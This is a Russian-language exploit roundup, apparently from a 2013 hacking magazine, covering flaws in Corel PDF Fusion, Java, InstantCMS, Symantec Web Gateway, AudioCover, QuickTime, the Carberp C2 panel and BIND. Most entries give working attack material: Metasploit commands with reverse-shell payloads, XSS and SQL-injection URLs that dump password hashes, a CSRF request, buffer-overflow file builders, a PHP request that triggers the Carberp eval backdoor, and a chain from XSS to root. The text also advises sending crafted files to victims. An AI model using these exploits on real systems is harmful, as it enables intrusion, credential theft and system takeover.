Содержание статьи
- Corel PDF Fusion — переполнение буфера
- Небезопасный вызов метода Java Applet ProviderSkeleton
- Выполнение произвольного кода в InstantCMS 1.6
- Многочисленные уязвимости в Symantec Web Gateway 5.1.0
- Переполнение буфера в AudioCover 0.8.22
- Переполнение буфера в Apple Quicktime 7
- Удаленное выполнение произвольного кода в Carberp Web Panel C2
- В ISC BIND найден очередной баг, который приводит к DoS
В этом месяце нас снова порадовали уязвимостью в Java, правда, не нулевого дня. Множественные критические уязвимости были обнаружены в одном из флагманских продуктов Symantec — Web Gateway. Но самое главное — стал доступен эксплойт для административной панели популярного банковского трояна Carberp.
Corel PDF Fusion — переполнение буфера
- CVSSv2 N/A
- Дата релиза: 8 июля 2013 года
- Автор: Kaveh Ghaemmaghami
- CVE: 2013-3248
Corel PDF Fusion позволяет просматривать, редактировать, объединять и создавать PDF-документы из оригинальных файлов более чем 100 различных форматов, в том числе doc, WPD, JPG, TIFF, GDF, XPS, CAD, docx и PPTX. XPS — это открытый графический формат фиксированной разметки на базе XML от компании Microsoft. Как и docx, по сути, является ZIP-архивом. Данная уязвимость проявляется при парсинге имен директорий, входящих в этот архив, что позволяет вызвать переполнение буфера при открытии пользователем специально созданного XPS-файла.
Хакер #176. Анонимность в интернете
EXPLOIT
Существует модуль для Metasploit, который создает атакующий файл.
msf > use exploit/windows/fileformat/corelpdf_fusion_bof
msf exploit(corelpdf_fusion_bof) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(corelpdf_fusion_bof) > set 192.168.24.141
msf exploit(corelpdf_fusion_bof) > exploit
Полученный файл отправляем жертве. Энтузиасты же могут сами реализовать эксплойт на основе реального файла. Выше я упомянул, что XPS-формат — это ZIP-архив, то есть можно воспользоваться одним из множества архиваторов (для Windows — 7zip) и самому перепаковать нужный файл, добавив к нему полезную нагрузку.
TARGETS
Corel PDF Fusion версии 1.11 и ниже.
SOLUTION
На момент публикации не было исправлений.
Небезопасный вызов метода Java Applet ProviderSkeleton
- CVSSv2 9.3 (AV:R/AC:M/Au:N/C:C/I:C/A:C)
- Дата релиза: 18 июня 2013 года
- Автор: Adam Gowdiak
- CVE: 2013-2460
И снова в нашем обзоре уязвимость в Java. Ошибка проявляется при обращении к методуinvoke()
класса ProviderSkeleton. Атакующий может создать специальный веб-сайт, который выполнит произвольный код у пользователя. Подобная уязвимость была найдена этой же командой Security Explorations в прошлом году, поэтому автор уязвимости для успешной атаки использует ту же конструкцию. Он запускает системные (запрещенные) команды через объект в поле lookupClass
, ссылку на который получает через метод forName
, вызванный из уязвимого класса.
EXPLOIT
Конечно же, для такой уязвимости существует Metasploit-модуль для всех ОС:
msf > use exploit/multi/browser/java_jre17_provider_skeleton
msf exploit(java_jre17_provider_skeleton) > set PAYLOAD java/meterpreter/reverse_tcp
msf exploit(java_jre17_provider_skeleton) > set 192.168.24.141
msf exploit(java_jre17_provider_skeleton) > exploit
Также есть исходники эксплойта от автора исследования.
TARGETS
Java 7 update 21 и ниже.
SOLUTION
Существует исправление от производителя.
Выполнение произвольного кода в InstantCMS 1.6
- CVSSv2 N/A
- Дата релиза: 26 июня 2013 года
- Автор: AkaStep
- CVE: N/A
Сегодня мы рассмотрим довольно популярную CMS, которую особенно любят использовать в качестве каких-либо порталов. Чаще всего это городские или по интересам (автомобильные). Ошибка заключается в недостаточной фильтрации полученных данных от пользователя, причем полученный параметр используется в функции eval
.
if ($look == 'phrase'){
$against .= '\"'.$query.'\"';
}
...
eval('search_'.$component['link'].'("'.$against.'", "'.$look.'", "'.$mode.'");');
Чтобы проверить, уязвима ли версия на сайте, обратимся по адресу со следующими параметрами:
site.com/index.php?view=search&query=${echo phpinfo()}&look=allwords
В результате мы должны увидеть вывод нашей любимой функции phpinfo()
.
EXPLOIT
В качестве эксплойта можно воспользоваться следующим:
- По аналогии с
phpinfo()
передаем любой нужный нам параметр. Например, функцию чтения файла и вывод, чтобы получить пароль к БД. - У автора уязвимости существует скрипт для программы AutoIt. Пример работы такой программы можно увидеть на скриншоте.
- Metasploit-модуль.
TARGETS
InstantCMS =< 1.6. По словам автора, на просторах Сети он нашел тестовую версию 1.7, которая также была уязвима.
SOLUTION
На момент публикации не было исправлений. Но можно сделать фильтрацию вручную, обернув полученный уязвимый параметр в функцию htmlspecialchars()
.
Многочисленные уязвимости в Symantec Web Gateway 5.1.0
- CVSSv2 N/A
- Дата релиза: 27 июля 2013 года
- Автор: Wolfgang Ettlinger
- CVE: 2013-1616, 2013-4670, 2013-4671, 2013-4672
Теперь рассмотрим корпоративное защитное решение от антивирусного производителя Symantec. Symantec Web Gateway защищает организации от многочисленных вредоносных программ и поддерживает развертывание в виде виртуального или физического устройства. Как пишет сама компания, продукт основан на Insight — инновационной технологии собственной разработки для фильтрации вредоносных программ с учетом репутации. В работе используется глобальная сеть из более чем 210 миллионов пользователей, чтобы выявлять новые угрозы еще до того, как они смогут нарушить работу организации.
Теперь рассмотрим сами уязвимости:
- Отраженная XSS — позволяет эффективно перехватить сессию с cookies администратора.
- Хранимая XSS — позволяет неавторизованному пользователю вставить код скрипта в интерфейс администратора. Этот скрипт выполнится, как только администратор посетит свою панель.
- Инъекция системных команд — исследователи обнаружили многочисленные уязвимости, позволяющие вставить системные команды. Авторизованный пользователь может выполнить произвольные команды в ОС с правами системного пользователя
apache
. Это можно использовать для получения постоянного доступа к атакуемой системе (например, установка и запуска бэкдора), раскрытия всей сохраненной информации или перехвата сетевого трафика. - Неправильная конфигурация безопасности — непривилегированные системные пользователи (например, apache) могут получить права администратора из-за неправильной конфигурации программы sudo.
- SQL-инъекция — было найдено несколько инъекций, которые позволяют выполнить любую SQL-команду, правда только авторизованным пользователям с правами администратора.
- CSRF (подделка межсайтовых запросов) — небольшая встроенная защита от атак такого типа легко обходится, что позволяет атакующему отправить нужные запросы в контексте сессии администратора.
Как видишь, если объединить эксплуатацию нескольких уязвимостей в одну цепочку, можно получить права администратора в атакуемой сети. Далее рассмотрим примеры уязвимых скриптов для каждой уязвимости.
EXPLOIT
- Отраженная XSS — следующий адрес демонстрирует пример эксплуатации на примере стандартной функции
alert()
:https://<host>/spywall/feedback_report.php?rpp=0%27%20onfocus=%22alert%28%27xss%27%29%22%20autofocus/%3E
- Хранимая XSS — страница
blocked.php
, которая позволяет вставить код скрипта в панель администратора без авторизации. Ниже продемонстрирован адрес атаки, где полезная нагрузка сохраняется в параметреu
:https://<host>/spywall/blocked.php?id=1&history=-2&u=%27/%3E%3Cscript%3Ealert%28%27xss%27%29;%3C/script%3E
- Инъекция системных команд — функционал, изменяющий имя хоста и более известный как тестовый пинг (Test Ping), позволяет вставить произвольную системную команду, закрыв с помощью кавычки (`). Такие команды выполнятся в системе с правами пользователя apache. Уязвимые скрипты:
/spywall/nameConfig.php
;/spywall/networkConfig.php
.
- Неправильная конфигурация безопасности — файл
/etc/sudoers
позволяет пользователям apache и admin запускать некоторые критичные команды с правами администратора. Например, пользователь apache может запускать такие команды, какchmod
,chown
иinsmod
, без ввода пароля. - SQL-инъекция — ниже представлено несколько примеров, выводящих все имена пользователей и хеши их паролей в системе:
https://<host>/spywall/feedback_report.php?variable[]=1) UNION SELECT 1,2,3,4,username,6,7,8,9,password FROM users --&operator[]=notequal&operand[]=x https://<host>/spywall/edit_alert.php?alertid=11%20UNION%20SELECT%201,2,username,password,5,6,7,8,9,10,111,12,13,14,15,16,17,18%20FROM%20users%20--%20
- CSRF — следующий запрос настраивает LDAP-сервер на аутентификацию пользователя с правами администратора:
POST /spywall/ldapConfig.php HTTP/1.1 Host: <host> Cookie: PHPSESSID=<valid-cookie> Content-Type: application/x-www-form-urlencoded Content-Length: 247 posttime=9999999999&saveForm=Save&useldap=1&ldap_host=0.0.0.0&ldap_port=389&a uth_method=Simple&search_base=dc%3Dtest%2Cdc% 3Dlocal&ldap_user=test&ldap_password=test&dept_type=dept&user_attribute=sAMAc countName&user_attribute_other=&ldap_timeout=168
Единственная защита от CSRF атак заключается в параметре posttime
, который содержит время в формате unix timestamp
. Его значение должно быть больше, чем было в последнем запросе. Поэтому можно передать заведомо большее значение, например, 9999999999
, и запрос всегда будет успешно выполнен. Исходя из всех перечисленных выше уязвимостей, можно вывести следующий сценарий атаки:
- Пользователь, защищенный с помощью Symantec Web Gateway, заходит на страницу, которая содержит изображение, ссылку или iframe. Ссылка указывает на запрещенную страницу (например, тестовый EICAR-файл) и содержит скрипт (XSS).
- Symantec Web Gateway блокирует запрос и перенаправляет пользователя на скрипт blocked.php. Если заблокированная ссылка содержит параметр
history=-2
(который любезно добавил атакующий), то адрес/скрипт (XSS) автоматически сохранится как «заблокированное сообщение обратной связи» (Blocked Feedback) в интерфейсе администратора. - Когда администратор посетит страницу с «заблокированным сообщением обратной связи», сохраненный скрипт автоматически выполнится. Он, в свою очередь, может использовать уязвимость инъекции системных команд для автоматической загрузки и выполнения шелла. 4. Так как пользователь apache может выполнять команды
chmod
иchown
как администратор, наш шелл создаст бинарник с SUID-битом и выполнит его. - Теперь у атакующего есть доступ к системе с наивысшими (администраторскими) правами.
Так что вся атака упирается лишь в пользователя, который посетит «вредоносную» страницу. Если же у атакующего есть доступ к интересующей сети, то XSS-уязвимость может быть проэксплуатирована напрямую. Автор пишет, что обладает полным исходным кодом такого эксплойта, но выкладывать его в открытый доступ он пока не планирует.
TARGETS
Symantec Web Gateway <= 5.1.0.*.
SOLUTION
Есть исправления от производителя.
Переполнение буфера в AudioCover 0.8.22
- CVSSv2 N/A
- Дата релиза: 1 июля 2013 года
- Автор: metacom, onying
- CVE: N/A
1 мая 2013 года была опубликована похожая уязвимость для этой же программы версии 0.8.18, но для ее эксплуатации надо было создать специальный файл в формате M3U. Другие исследователи выяснили, что можно использовать формат lst и версия 0.8.22 также уязвима. Оба формата — музыкальные плей-листы, и если пользователь добавит такой специальный файл, то это позволит атакующему выполнить свой код.
EXPLOIT
Разберем эксплойт:
shellcode =
"\x89\xe0..." + # Любой шелл-код, можно cгенерировать с помощью msfpayload
file = "fuzz.lst" # Имя файла
head = "http://" # Заголовок
junk = "\x90" * 765 # Переполнение, чтобы перезаписать регистр EIP
nseh = "\xEB\x06\x90\x90" # Небольшой прыжок в 6 байт
seh = "\xEE\x04\x01\x66" # ... RETN libiconv-2.dll
nops = "\x90" * 80
textfile = open(file , 'w')
textfile.write(head + junk + nseh + seh + nops + shellcode)
textfile.close()
TARGETS
AudioCover 0.8.22 и ниже.
SOLUTION
На момент публикации не было исправлений.
Переполнение буфера в Apple Quicktime 7
- CVSSv2 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
- Дата релиза: 24 мая 2013 года
- Автор: Tom Gallagher, Paul Bates
- CVE: 2013-1017
Эта уязвимость позволяет удаленному атакующему выполнить произвольный код через установленную программу от Apple — QuickTime. От пользователя требуется зайти на вредоносную страницу или открыть специально сконструированный файл.
Специфичная ошибка возникает при обработке файла в формате MOV. Это происходит из-за недостаточной проверки длины данных для указанных атомов, таких как rdrf
или dref
, в записи Alis
. Значение между этими атомами используется для определения, сколько байт копировать в буфер, без достаточной проверки значения, из-за чего значение может быть больше размера буфера. В результате возникает переполнение. После этого у атакующего будет гарантированный доступ к памяти и возможность выполнить произвольный код с правами авторизованного пользователя.
EXPLOIT
Ниже разобран формат специально сконструированного файла, который используется в качестве эксплойта:
mov = "\x00\x00\x06\xDF" # Размер файла
mov << "moov" # moov атом
mov << "\x00\x00\x06\xD7" # размер (1751d)
mov << "rmra" # Ссылка на moov атом
mov << "\x00\x00\x06\xCF" # размер (1743d)
mov << "rmda" # rmda атом
mov << "\x00\x00\x06\xBF" # размер (1727d)
mov << "rdrf" # Данные ссылки атом
mov << "\x00\x00\x00\x00" # Устанавливаем размер в 0
mov << "alis" # Ссылка на тип: FS alis запись
mov << "\x00\x00\x06\xAA" # размер (1706d)
mov << rand_text_alpha(8)
mov << "\x00\x00\x06\x61" # размер (1633d)
mov << rand_text_alpha(38)
mov << "\x12"
mov << rand_text_alpha(81)
mov << "\xFF\xFF"
mov << rand_text_alpha(18)
mov << "\x00\x08" # размер (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x08" # размер (8d)
mov << rand_text_alpha(8)
mov << "\x00\x00"
mov << "\x00\x26" # размер (38d)
mov << rand_text_alpha(38)
mov << "\x00\x0F\x00\x0E"
mov << "AA" # размер (должен быть неправильным)
mov << rand_text_alpha(12)
mov << "\x00\x12\x00\x21"
mov << rand_text_alpha(36)
mov << "\x00"
mov << "\x0F\x33"
mov << rand_text_alpha(17)
mov << "\x02\xF4" # размер (756h)
mov << rand_text_alpha(756)
mov << "\xFF\xFF\x00\x00\x00"
mov << buf # полезная нагрузка
Более подробно формат файлов для QuickTime расписан на официальном сайте Apple вразделе для разработчиков. А для создания атакующей HTML-страницы с созданным «полезным» файлом воспользуемся Metasploit-модулем:
msf > use exploit/windows/browser/apple_quicktime_rdrf.rb
msf exploit(apple_quicktime_rdrf.rb) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(apple_quicktime_rdrf.rb) > set 192.168.24.141
msf exploit(apple_quicktime_rdrf.rb) > exploit
TARGETS
Quicktime 7.7.3 и ниже.
SOLUTION
Есть патч от производителя.
Удаленное выполнение произвольного кода в Carberp Web Panel C2
- CVSSv2 N/A
- Дата релиза: 28 июня 2013 года
- Автор: Xylitol
- CVE: N/A
В конце июня случился переломный момент в современном вирусописании. Если раньше у большинства людей были только исходники трояна Zeus, то теперь в публичный доступ утекли исходники банковского трояна Carberp вместе с буткит-фреймворком и административной панелью. Один из популярных исследователей вредоносных программ Xylitol решил провести аудит исходного кода последней и сразу же нашел вот такой код:
if(@$_POST['id'] == 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV'){
//Rkey end
if(!empty($_POST['data'])) eval(pack("H*", base64_decode($_POST['data'])));
exit;
Как видишь, если пришел специальный POST-запрос с ключом BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV
в параметре id
, то скрипт выполнит любой код, зашифрованный с помощью алгоритма BASE64 и переданный в параметре data
.
EXPLOIT
В качестве эксплойта можно воспользоваться следующими наработками:
- Скрипт от автора можно скачать с его блога. Сделан по принципу «нажать кнопку», нужно только ввести адрес предполагаемой административной панели.
- Выпущен Metasploit-модуль.
Или самому в соответствующей программе, скрипте или плагине для браузера составить POST-запрос. Например, на языке PHP это будет выглядеть так:
$data = array(
'id' => 'BOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV',
'data' => '...'); // Полезная нагрузка, зашифрованная с помощью алгоритма Base64
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['urlz'] . "/index.php");
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch,CURLOPT_USERAGENT,"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch,CURLOPT_TIMEOUT,30);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$contents = curl_exec($ch);
TARGETS
Все версии, установленные до 28 июня. Плюс те, которые будут использоваться вместе с опубликованными исходниками :).
SOLUTION
Патча на данный момент не существует. В качестве быстрого патча можно заменить ключBOTNETCHECKUPDATER0-WD8Sju5VR1HU8jlV
на любой другой.
В ISC BIND найден очередной баг, который приводит к DoS
Ошибка вызвана некорректной обработкой данных RDATA внутри DNS-запроса. Удаленный пользователь может с помощью специально сформированного DNS-запроса спровоцировать вызов REQUIRE-исключения и аварийно завершить работу процесса named. Уязвимости подвержены как рекурсивные, так и авторитативные DNS-серверы. Причем ограничение доступа с помощью встроенных ACL не позволяет защититься от проблемы. На момент публикации уязвимость (CVE-2013-4854) исправлена в версиях BIND 9.9.3-P2 и 9.8.5-P2, все остальные версии BIND 9, новее ветки 9.6, уязвимы.